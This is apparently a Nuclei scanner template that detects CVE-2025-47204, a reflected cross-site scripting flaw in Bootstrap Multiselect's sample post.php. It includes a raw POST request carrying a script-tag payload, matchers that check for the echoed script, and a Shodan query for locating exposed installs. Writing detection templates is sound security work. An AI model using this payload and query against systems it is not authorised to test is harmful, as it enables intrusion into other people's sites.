Bootstrap Multiselect <= 1.1.2 - Cross-Site Scripting

id: CVE-2025-47204

info:
  name: Bootstrap Multiselect <= 1.1.2 - Cross-Site Scripting
  author: r3naissance
  severity: medium
  description: |
    A PHP script in the source code release echoes arbitrary POST data. If a developer adopts this structure wholesale in a live application, it could create a Reflective Cross-Site Scripting (XSS) vulnerability exploitable through Cross-Site Request Forgery (CSRF).
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected application.
  remediation: |
    Only use the necessary components (css/js) in production applications
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-47204
  classification:
    epss-score: 0.00438
    epss-percentile: 0.35605
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"bootstrap-multiselect"
  tags: cve,cve2025,xss,bootstrap-multiselect,vkev,vuln

http:
  - raw:
      - |
        POST /bootstrap-multiselect/post.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        canary="><script>alert(document.domain)</script>

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "<script>alert(document.domain)</script>", "bootstrap-multiselect-master")'
        condition: and
# digest: 490a0046304402204f0148cae668ebf77a5dc6ee33b71d88025e03813832a2a7199c368375376b2d02204e22d26a8e58f8990f6ec020079739e3cfd6a023760293b3866f5e5ea1e2ac1c:922c64590222798bb761d5b6d8e72950